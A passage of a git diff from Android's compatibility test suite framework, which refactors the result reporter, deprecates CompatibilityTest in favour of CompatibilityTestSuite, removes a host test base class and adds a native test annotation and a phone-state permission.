+ private static native void nRun(RunNotifier notifier);
+}
diff --git a/common/device-side/nativetesthelper/src/com/android/gtestrunner/TargetLibrary.java b/common/device-side/nativetesthelper/src/com/android/gtestrunner/TargetLibrary.java
new file mode 100644
index 0000000..23bc53d
--- /dev/null
+++ b/common/device-side/nativetesthelper/src/com/android/gtestrunner/TargetLibrary.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.gtestrunner;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Inherited;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Retention(RetentionPolicy.RUNTIME)
+@Target(ElementType.TYPE)
+@Inherited
+public @interface TargetLibrary {
+ String value();
+}
diff --git a/common/device-side/test-app/AndroidManifest.xml b/common/device-side/test-app/AndroidManifest.xml
index 9c857f0..883b439 100755
--- a/common/device-side/test-app/AndroidManifest.xml
+++ b/common/device-side/test-app/AndroidManifest.xml
@@ -17,7 +17,10 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.compatibility.common">
+
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+
<application>
<uses-library android:name="android.test.runner" />
<activity android:name="com.android.compatibility.common.deviceinfo.TestDeviceInfo" />
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
index 50d1c3a..48ed864 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
@@ -16,6 +16,7 @@
package com.android.compatibility.common.tradefed.build;
import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.build.IDeviceBuildInfo;
import com.android.tradefed.build.IFolderBuildInfo;
import com.android.tradefed.build.VersionedFile;
import com.android.tradefed.util.FileUtil;
@@ -232,18 +233,6 @@
}
/**
- * @return a {@link File} representing the directory to store screenshots taken while testing.
- * @throws FileNotFoundException if the directory structure is not valid.
- */
- public File getScreenshotsDir() throws FileNotFoundException {
- File screenshotsDir = new File(getResultDir(), "screenshots");
- if (!screenshotsDir.exists()) {
- screenshotsDir.mkdirs();
- }
- return screenshotsDir;
- }
-
- /**
* @return a {@link File} representing the test modules directory.
* @throws FileNotFoundException if the directory structure is not valid.
*/
@@ -264,6 +253,12 @@
}
if (testsDir == null) {
+ if (mBuildInfo instanceof IDeviceBuildInfo) {
+ testsDir = ((IDeviceBuildInfo) mBuildInfo).getTestsDir();
+ }
+ }
+
+ if (testsDir == null) {
String altTestsDir = System.getenv().get(ALT_HOST_TESTCASE_DIR);
if (altTestsDir != null) {
testsDir = new File(altTestsDir);
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java
index 32e6197..fe29c7f 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java
@@ -195,7 +195,12 @@
"\t\t\t--screenshot-on-failure: Capture a screenshot when a test fails"
+ LINE_SEPARATOR +
"\t\t\t--shard-count <shards>: Shards a run into the given number of independent " +
- "chunks, to run on multiple devices in parallel." + LINE_SEPARATOR;
+ "chunks, to run on multiple devices in parallel." + LINE_SEPARATOR +
+ "\t ----- In order to retry a previous run -----" + LINE_SEPARATOR +
+ "\tretry --retry <session id to retry> [--retry-type <FAILED | NOT_EXECUTED>]"
+ + LINE_SEPARATOR +
+ "\t\tWithout --retry-type, retry will run both FAIL and NOT_EXECUTED tests"
+ + LINE_SEPARATOR;
commandHelp.put(RUN_PATTERN, combinedRunHelp);
commandHelp.put(ADD_PATTERN, String.format(
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
index 51d59a1..51f8c06 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
@@ -16,7 +16,8 @@
package com.android.compatibility.common.tradefed.result;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
+import com.android.compatibility.common.tradefed.testtype.retry.RetryFactoryTest;
+import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuite;
import com.android.compatibility.common.tradefed.util.RetryType;
import com.android.compatibility.common.util.ChecksumReporter;
import com.android.compatibility.common.util.ICaseResult;
@@ -38,6 +39,7 @@
import com.android.tradefed.config.OptionCopier;
import com.android.tradefed.invoker.IInvocationContext;
import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.FileInputStreamSource;
import com.android.tradefed.result.ILogSaver;
import com.android.tradefed.result.ILogSaverListener;
import com.android.tradefed.result.IShardableListener;
@@ -48,6 +50,7 @@
import com.android.tradefed.result.LogFile;
import com.android.tradefed.result.LogFileSaver;
import com.android.tradefed.result.TestSummary;
+import com.android.tradefed.result.suite.SuiteResultReporter;
import com.android.tradefed.util.FileUtil;
import com.android.tradefed.util.StreamUtil;
import com.android.tradefed.util.TimeUtil;
@@ -62,6 +65,8 @@
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
+import java.nio.file.Files;
+import java.nio.file.Path;
import java.util.Arrays;
import java.util.Collections;
import java.util.HashMap;
@@ -79,10 +84,12 @@
public class ResultReporter implements ILogSaverListener, ITestInvocationListener,
ITestSummaryListener, IShardableListener {
+ public static final String INCLUDE_HTML_IN_ZIP = "html-in-zip";
private static final String UNKNOWN_DEVICE = "unknown_device";
private static final String RESULT_KEY = "COMPATIBILITY_TEST_RESULT";
private static final String CTS_PREFIX = "cts:";
private static final String BUILD_INFO = CTS_PREFIX + "build_";
+ private static final String LATEST_LINK_NAME = "latest";
public static final String BUILD_BRAND = "build_brand";
public static final String BUILD_DEVICE = "build_device";
@@ -99,14 +106,14 @@
ResultHandler.FAILURE_REPORT_NAME,
"diffs");
- @Option(name = CompatibilityTest.RETRY_OPTION,
+ @Option(name = RetryFactoryTest.RETRY_OPTION,
shortName = 'r',
description = "retry a previous session.",
importance = Importance.IF_UNSET)
private Integer mRetrySessionId = null;
- @Option(name = CompatibilityTest.RETRY_TYPE_OPTION,
- description = "used with " + CompatibilityTest.RETRY_OPTION
+ @Option(name = RetryFactoryTest.RETRY_TYPE_OPTION,
+ description = "used with " + RetryFactoryTest.RETRY_OPTION
+ ", retry tests of a certain status. Possible values include \"failed\", "
+ "\"not_executed\", and \"custom\".",
importance = Importance.IF_UNSET)
@@ -127,6 +134,10 @@
@Option(name = "compress-logs", description = "Whether logs will be saved with compression")
private boolean mCompressLogs = true;
+ @Option(name = INCLUDE_HTML_IN_ZIP,
+ description = "Whether failure summary report is included in the zip fie.")
+ private boolean mIncludeHtml = false;
+
private CompatibilityBuildHelper mBuildHelper;
private File mResultDir = null;
private File mLogDir = null;
@@ -448,10 +459,24 @@
*/
@Override
public void putSummary(List<TestSummary> summaries) {
- // This is safe to be invoked on either the master or a shard ResultReporter,
- // but the value added to the report will be that of the master ResultReporter.
- if (summaries.size() > 0) {
- mReferenceUrl = summaries.get(0).getSummary().getString();
+ for (TestSummary summary : summaries) {
+ // If one summary is from SuiteResultReporter, log it as an extra file.
+ if (SuiteResultReporter.SUITE_REPORTER_SOURCE.equals(summary.getSource())) {
+ File summaryFile = null;
+ try {
+ summaryFile = FileUtil.createTempFile("summary", ".txt");
+ FileUtil.writeToFile(summary.getSummary().getString(), summaryFile);
+ try (InputStreamSource stream = new FileInputStreamSource(summaryFile)) {
+ testLog("summary", LogDataType.TEXT, stream);
+ }
+ } catch (IOException e) {
+ CLog.e(e);
+ } finally {
+ FileUtil.deleteFile(summaryFile);
+ }
+ } else if (mReferenceUrl == null && summary.getSummary().getString() != null) {
+ mReferenceUrl = summary.getSummary().getString();
+ }
}
}
@@ -520,10 +545,17 @@
copyRetryFiles(ResultHandler.getResultDirectory(
mBuildHelper.getResultsDir(), mRetrySessionId), mResultDir);
}
+ File failureReport = null;
+ if (mIncludeHtml) {
+ // Create the html report before the zip file.
+ failureReport = ResultHandler.createFailureReport(resultFile);
+ }
File zippedResults = zipResults(mResultDir);
- // Create failure report after zip file so extra data is not uploaded
- File failureReport = ResultHandler.createFailureReport(resultFile);
- if (failureReport.exists()) {
+ if (!mIncludeHtml) {
+ // Create failure report after zip file so extra data is not uploaded
+ failureReport = ResultHandler.createFailureReport(resultFile);
+ }
+ if (failureReport != null && failureReport.exists()) {
info("Test Result: %s", failureReport.getCanonicalPath());
} else {
info("Test Result: %s", resultFile.getCanonicalPath());
@@ -531,6 +563,16 @@
info("Test Logs: %s", mLogDir.getCanonicalPath());
debug("Full Result: %s", zippedResults.getCanonicalPath());
+ Path latestLink = createLatestLinkDirectory(mResultDir.toPath());
+ if (latestLink != null) {
+ info("Latest results link: " + latestLink.toAbsolutePath());
+ }
+
+ latestLink = createLatestLinkDirectory(mLogDir.toPath());
+ if (latestLink != null) {
+ info("Latest logs link: " + latestLink.toAbsolutePath());
+ }
+
saveLog(resultFile, zippedResults);
uploadResult(resultFile);
@@ -547,6 +589,30 @@
moduleProgress);
}
+ private Path createLatestLinkDirectory(Path directory) {
+ Path link = null;
+
+ Path parent = directory.getParent();
+
+ if (parent != null) {
+ link = parent.resolve(LATEST_LINK_NAME);
+ try {
+ // if latest already exists, we have to remove it before creating
+ Files.deleteIfExists(link);
+ Files.createSymbolicLink(link, directory);
+ } catch (IOException ioe) {
+ CLog.e("Exception while attempting to create 'latest' link to: [%s]",
+ directory);
+ CLog.e(ioe);
+ return null;
+ } catch (UnsupportedOperationException uoe) {
+ CLog.e("Failed to create 'latest' symbolic link - unsupported operation");
+ return null;
+ }
+ }
+ return link;
+ }
+
/**
* {@inheritDoc}
*/
@@ -781,11 +847,11 @@
}
return !(RetryType.FAILED.equals(mRetryType)
|| RetryType.CUSTOM.equals(mRetryType)
- || args.contains(CompatibilityTest.INCLUDE_FILTER_OPTION)
- || args.contains(CompatibilityTest.EXCLUDE_FILTER_OPTION)
- || args.contains(CompatibilityTest.SUBPLAN_OPTION)
+ || args.contains(CompatibilityTestSuite.INCLUDE_FILTER_OPTION)
+ || args.contains(CompatibilityTestSuite.EXCLUDE_FILTER_OPTION)
+ || args.contains(CompatibilityTestSuite.SUBPLAN_OPTION)
|| args.matches(String.format(".* (-%s|--%s) .*",
- CompatibilityTest.TEST_OPTION_SHORT_NAME, CompatibilityTest.TEST_OPTION)));
+ CompatibilityTestSuite.TEST_OPTION_SHORT_NAME, CompatibilityTestSuite.TEST_OPTION)));
}
/**
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java
index 9c87a75..87f2436 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java
@@ -16,9 +16,9 @@
package com.android.compatibility.common.tradefed.result;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
import com.android.compatibility.common.tradefed.testtype.ISubPlan;
import com.android.compatibility.common.tradefed.testtype.SubPlan;
+import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuite;
import com.android.compatibility.common.tradefed.util.OptionHelper;
import com.android.compatibility.common.util.ICaseResult;
import com.android.compatibility.common.util.IInvocationResult;
@@ -33,8 +33,8 @@
import com.android.tradefed.config.Option;
import com.android.tradefed.config.Option.Importance;
import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
import com.android.tradefed.util.StreamUtil;
+import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
import com.google.common.annotations.VisibleForTesting;
@@ -43,13 +43,13 @@
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
-import java.io.InputStream;
import java.io.IOException;
+import java.io.InputStream;
import java.util.Arrays;
import java.util.Collection;
import java.util.Collections;
-import java.util.HashSet;
import java.util.HashMap;
+import java.util.HashSet;
import java.util.Map;
import java.util.Set;
@@ -90,32 +90,32 @@
importance=Importance.IF_UNSET)
private Set<String> mResultTypes = new HashSet<String>();
- @Option(name = CompatibilityTest.INCLUDE_FILTER_OPTION,
+ @Option(name = CompatibilityTestSuite.INCLUDE_FILTER_OPTION,
description = "the include module filters to apply.",
importance = Importance.NEVER)
private Set<String> mIncludeFilters = new HashSet<String>();
- @Option(name = CompatibilityTest.EXCLUDE_FILTER_OPTION,
+ @Option(name = CompatibilityTestSuite.EXCLUDE_FILTER_OPTION,
description = "the exclude module filters to apply.",
importance = Importance.NEVER)
private Set<String> mExcludeFilters = new HashSet<String>();
- @Option(name = CompatibilityTest.MODULE_OPTION, shortName = 'm',
+ @Option(name = CompatibilityTestSuite.MODULE_OPTION, shortName = 'm',
description = "the test module to run.",
importance = Importance.NEVER)
private String mModuleName = null;
- @Option(name = CompatibilityTest.TEST_OPTION, shortName = 't',
+ @Option(name = CompatibilityTestSuite.TEST_OPTION, shortName = 't',
description = "the test to run.",
importance = Importance.NEVER)
private String mTestName = null;
- @Option(name = CompatibilityTest.ABI_OPTION, shortName = 'a',
+ @Option(name = CompatibilityTestSuite.ABI_OPTION, shortName = 'a',
description = "the abi to test.",
importance = Importance.NEVER)
private String mAbiName = null;
- @Option(name = CompatibilityTest.SUBPLAN_OPTION,
+ @Option(name = CompatibilityTestSuite.SUBPLAN_OPTION,
description = "the subplan used in the previous session",
importance = Importance.NEVER)
private String mLastSubPlan;
@@ -159,7 +159,7 @@
throw new RuntimeException(
String.format("Unable to find or parse subplan %s", name), e);
} finally {
- StreamUtil.closeStream(subPlanInputStream);
+ StreamUtil.close(subPlanInputStream);
}
}
@@ -207,7 +207,7 @@
* Create a subplan derived from a result.
* <p/>
* {@link Option} values must be set before this is called.
- * @param build
+ * @param buildHelper
* @return subplan
* @throws ConfigurationException
*/
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java
index 7ebd717..749be97 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java
@@ -29,13 +29,14 @@
import com.android.compatibility.common.util.BusinessLogicFactory;
import com.android.compatibility.common.util.BusinessLogicHostExecutor;
import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import java.io.File;
/**
* Host-side base class for tests leveraging the Business Logic service.
*/
-public class BusinessLogicHostTestBase extends CompatibilityHostTestBase {
+public class BusinessLogicHostTestBase extends BaseHostJUnit4Test {
/* String marking the beginning of the parameter in a test name */
private static final String PARAM_START = "[";
@@ -51,7 +52,7 @@
// Business logic must be retrieved in this @Before method, since the build info contains
// the location of the business logic file and cannot be referenced from a static context
if (mBusinessLogic == null) {
- CompatibilityBuildHelper helper = new CompatibilityBuildHelper(mBuild);
+ CompatibilityBuildHelper helper = new CompatibilityBuildHelper(getBuild());
File businessLogicFile = helper.getBusinessLogicHostFile();
if (businessLogicFile != null && businessLogicFile.canRead()) {
mBusinessLogic = BusinessLogicFactory.createFromFile(businessLogicFile);
@@ -71,7 +72,7 @@
if (mBusinessLogic.hasLogicFor(testName)) {
CLog.i("Applying business logic for test case: ", testName);
BusinessLogicExecutor executor = new BusinessLogicHostExecutor(getDevice(),
- mBuild, this);
+ getBuild(), this);
mBusinessLogic.applyLogicFor(testName, executor);
}
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java
deleted file mode 100644
index 1222a1f..0000000
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java
+++ /dev/null
@@ -1,249 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.tradefed.testtype;
-
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-
-import com.android.annotations.Nullable;
-import com.android.annotations.VisibleForTesting;
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.ddmlib.Log.LogLevel;
-import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.ddmlib.testrunner.TestResult;
-import com.android.ddmlib.testrunner.TestResult.TestStatus;
-import com.android.ddmlib.testrunner.TestRunResult;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.CollectingTestListener;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IDeviceTest;
-import com.android.tradefed.util.AbiUtils;
-
-import org.junit.Assume;
-import org.junit.Before;
-import org.junit.internal.AssumptionViolatedException;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Compatibility host test base class for JUnit4 tests. Enables host-side tests written in JUnit4
- * to access build and ABI information, as well as a reference to the testing device. The class
- * includes methods to install and uninstall test packages, as well as methods to run device-side
- * tests and retrieve their results.
- */
-public class CompatibilityHostTestBase implements IAbiReceiver, IBuildReceiver, IDeviceTest {
-
- protected static final String AJUR = "android.support.test.runner.AndroidJUnitRunner";
-
- /** The build will be used. */
- protected IBuildInfo mBuild;
-
- /** The ABI to use. */
- protected IAbi mAbi;
-
- /** A reference to the device under test. */
- protected ITestDevice mDevice;
-
- /** The test runner used for test apps */
- private String mRunner;
-
- @Override
- public void setAbi(IAbi abi) {
- mAbi = abi;
- }
-
- @Override
- public IAbi getAbi() {
- return mAbi;
- }
-
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- // Get the build, this is used to access the APK.
- mBuild = buildInfo;
- }
-
- /**
- * {@inheritDoc}
- */
- @Override
- public ITestDevice getDevice() {
- return mDevice;
- }
-
- /**
- * {@inheritDoc}
- */
- @Override
- public void setDevice(ITestDevice device) {
- mDevice = device;
- }
-
- @Before
- public void baseSetUp() throws Exception {
- mRunner = AJUR;
- }
-
- /**
- * Set the runner name
- * @param runner of the device test runner
- */
- protected void setRunner(String runner) {
- mRunner = runner;
- }
-
- /**
- * Get the runner name
- * @return name of the device test runner
- */
- protected String getRunner() {
- return mRunner;
- }
-
- /**
- * Installs a package on the device
- * @param fileName the name of the file to install
- * @param options optional extra arguments to pass. See 'adb shell pm install --help' for
- * available options
- * @throws FileNotFoundException if file with filename cannot be found
- * @throws DeviceNotAvailableException
- */
- protected void installPackage(String fileName, String... options)
- throws FileNotFoundException, DeviceNotAvailableException {
-
- final List<String> optList = new ArrayList<>(Arrays.asList(options));
- optList.add(AbiUtils.createAbiFlag(mAbi.getName()));
- options = optList.toArray(new String[optList.size()]);
-
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
- File testFile = buildHelper.getTestFile(fileName);
- // Install the APK on the device.
- String installResult = mDevice.installPackage(testFile, true, options);
-
- assertNull(String.format("Failed to install %s, Reason: %s", fileName, installResult),
- installResult);
- }
-
- /**
- * Uninstalls a package on the device
- * @param pkgName the Android package to uninstall
- * @return a {@link String} with an error code, or <code>null</code> if success
- * @throws DeviceNotAvailableException
- */
- protected String uninstallPackage(String pkgName) throws DeviceNotAvailableException {
- return mDevice.uninstallPackage(pkgName);
- }
-
- /**
- * Checks if a package of a given name is installed on the device
- * @param pkg the name of the package
- * @return true if the package is found on the device
- * @throws DeviceNotAvailableException
- */
- protected boolean isPackageInstalled(String pkg) throws DeviceNotAvailableException {
- for (String installedPackage : mDevice.getInstalledPackageNames()) {
- if (pkg.equals(installedPackage)) {
- return true;
- }
- }
- return false;
- }
-
- private void printTestResult(TestRunResult runResult) {
- for (Map.Entry<TestIdentifier, TestResult> testEntry :
- runResult.getTestResults().entrySet()) {
- TestResult testResult = testEntry.getValue();
- TestStatus testStatus = testResult.getStatus();
- CLog.logAndDisplay(LogLevel.INFO,
- "Test " + testEntry.getKey() + ": " + testStatus);
- if (testStatus != TestStatus.PASSED && testStatus != TestStatus.ASSUMPTION_FAILURE) {
- CLog.logAndDisplay(LogLevel.WARN, testResult.getStackTrace());
- }
- }
- }
-
- /**
- * Runs tests of a given package on the device and reports success.
- * @param pkgName the name of the package containing tests
- * @param testClassName the class from which tests should be collected. Tests are collected
- * from all test classes in the package if null
- * @return true if at least once test runs and there are no failures
- * @throws AssertionError if device fails to run instrumentation tests
- * @throws AssumptionViolatedException if each device test fails an assumption
- * @throws DeviceNotAvailableException
- */
- protected boolean runDeviceTests(String pkgName, @Nullable String testClassName)
- throws DeviceNotAvailableException {
- return runDeviceTests(pkgName, testClassName, null /*testMethodName*/);
- }
-
- /**
- * Runs tests of a given package on the device and reports success.
- * @param pkgName the name of the package containing tests
- * @param testClassName the class from which tests should be collected. Tests are collected
- * from all test classes in the package if null
- * @param testMethodName the test method to run. All tests from the class or package are run
- * if null
- * @return true if at least once test runs and there are no failures
- * @throws AssertionError if device fails to run instrumentation tests
- * @throws AssumptionViolatedException if each device test fails an assumption
- * @throws DeviceNotAvailableException
- */
- protected boolean runDeviceTests(String pkgName, @Nullable String testClassName,
- @Nullable String testMethodName)
- throws DeviceNotAvailableException {
- TestRunResult runResult = doRunTests(pkgName, testClassName, testMethodName);
- printTestResult(runResult);
- // assume not all tests have skipped (and rethrow AssumptionViolatedException if so)
- Assume.assumeTrue(runResult.getNumTests() != runResult.getNumTestsInState(
- TestStatus.ASSUMPTION_FAILURE));
- return !runResult.hasFailedTests() && runResult.getNumTests() > 0;
- }
-
- /** Helper method to run tests and return the listener that collected the results. */
- private TestRunResult doRunTests(
- String pkgName, String testClassName,
- String testMethodName) throws DeviceNotAvailableException {
- RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
- pkgName, mRunner, mDevice.getIDevice());
- if (testClassName != null && testMethodName != null) {
- testRunner.setMethodName(testClassName, testMethodName);
- } else if (testClassName != null) {
- testRunner.setClassName(testClassName);
- }
-
- CollectingTestListener listener = createCollectingListener();
- assertTrue(mDevice.runInstrumentationTests(testRunner, listener));
- return listener.getCurrentRunResults();
- }
-
- @VisibleForTesting
- protected CollectingTestListener createCollectingListener() {
- return new CollectingTestListener();
- }
-}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
index 07bfe83..a8c016c 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
@@ -20,6 +20,7 @@
import com.android.compatibility.common.tradefed.result.InvocationFailureHandler;
import com.android.compatibility.common.tradefed.result.SubPlanHelper;
import com.android.compatibility.common.tradefed.targetprep.NetworkConnectivityChecker;
+import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuite;
import com.android.compatibility.common.tradefed.util.RetryFilterHelper;
import com.android.compatibility.common.tradefed.util.RetryType;
import com.android.compatibility.common.tradefed.util.UniqueModuleCountUtil;
@@ -79,8 +80,10 @@
import java.util.concurrent.TimeUnit;
/**
- * A Test for running Compatibility Suites
+ * A Test for running Compatibility Suites.
+ * @deprecated use {@link CompatibilityTestSuite} instead.
*/
+@Deprecated
@OptionClass(alias = "compatibility")
public class CompatibilityTest implements IDeviceTest, IShardableTest, IBuildReceiver,
IStrictShardableTest, ISystemStatusCheckerReceiver, ITestCollector,
@@ -473,7 +476,16 @@
moduleContext.addInvocationAttribute(IModuleDef.MODULE_ABI,
module.getAbi().getName());
mInvocationContext.setModuleInvocationContext(moduleContext);
+ // Populate the module context with devices and builds
+ for (String deviceName : mInvocationContext.getDeviceConfigNames()) {
+ moduleContext.addAllocatedDevice(
+ deviceName, mInvocationContext.getDevice(deviceName));
+ moduleContext.addDeviceBuildInfo(
+ deviceName, mInvocationContext.getBuildInfo(deviceName));
+ }
+ module.setInvocationContext(moduleContext);
try {
+ listener.testModuleStarted(moduleContext);
module.run(listener);
} catch (DeviceUnresponsiveException due) {
// being able to catch a DeviceUnresponsiveException here implies that recovery
@@ -490,6 +502,7 @@
// clear out module invocation context since we are now done with module
// execution
mInvocationContext.setModuleInvocationContext(null);
+ listener.testModuleEnded();
}
long duration = System.currentTimeMillis() - start;
long expected = module.getRuntimeHint();
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java
index 7a2c44d..51b33a1 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java
@@ -21,6 +21,7 @@
import com.android.tradefed.testtype.IAbi;
import com.android.tradefed.testtype.IBuildReceiver;
import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.IInvocationContextReceiver;
import com.android.tradefed.testtype.IRemoteTest;
import com.android.tradefed.testtype.IRuntimeHintProvider;
import com.android.tradefed.testtype.ITestCollector;
@@ -33,7 +34,7 @@
* Container for Compatibility test info.
*/
public interface IModuleDef extends Comparable<IModuleDef>, IBuildReceiver, IDeviceTest,
- IRemoteTest, IRuntimeHintProvider, ITestCollector {
+ IRemoteTest, IRuntimeHintProvider, ITestCollector, IInvocationContextReceiver {
/** key names used for saving module info into {@link IInvocationContext} */
// This currently references ModuleDefinition so that there's only once source for String
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java
index 5ef3a93..4104202 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java
@@ -36,8 +36,8 @@
import java.lang.reflect.Modifier;
import java.net.URL;
import java.net.URLClassLoader;
-import java.util.Collections;
import java.util.Enumeration;
+import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
@@ -136,11 +136,25 @@
*/
@Override
public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
- int numTests = countTestCases();
+ int numTests = 0;
+ RuntimeException bufferedException = null;
+ try {
+ numTests = countTestCases();
+ } catch (RuntimeException e) {
+ bufferedException = e;
+ }
long startTime = System.currentTimeMillis();
listener.testRunStarted(getClass().getName(), numTests);
- super.run(new HostTestListener(listener));
- listener.testRunEnded(System.currentTimeMillis() - startTime, Collections.emptyMap());
+ HostTestListener hostListener = new HostTestListener(listener);
+ try {
+ if (bufferedException != null) {
+ throw bufferedException;
+ }
+ super.run(hostListener);
+ } finally {
+ listener.testRunEnded(System.currentTimeMillis() - startTime,
+ hostListener.getMetrics());
+ }
}
/**
@@ -150,6 +164,8 @@
*/
public class HostTestListener extends ResultForwarder {
+ private Map<String, String> mCollectedMetrics = new HashMap<>();
+
public HostTestListener(ITestInvocationListener listener) {
super(listener);
}
@@ -168,6 +184,14 @@
@Override
public void testRunEnded(long elapsedTime, Map<String, String> metrics) {
CLog.d("HostTestListener.testRunEnded(%d, %s)", elapsedTime, metrics.toString());
+ mCollectedMetrics.putAll(metrics);
+ }
+
+ /**
+ * Returns all the metrics reported by the tests
+ */
+ Map<String, String> getMetrics() {
+ return mCollectedMetrics;
}
}
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
index f51be93..ffb7ef7 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
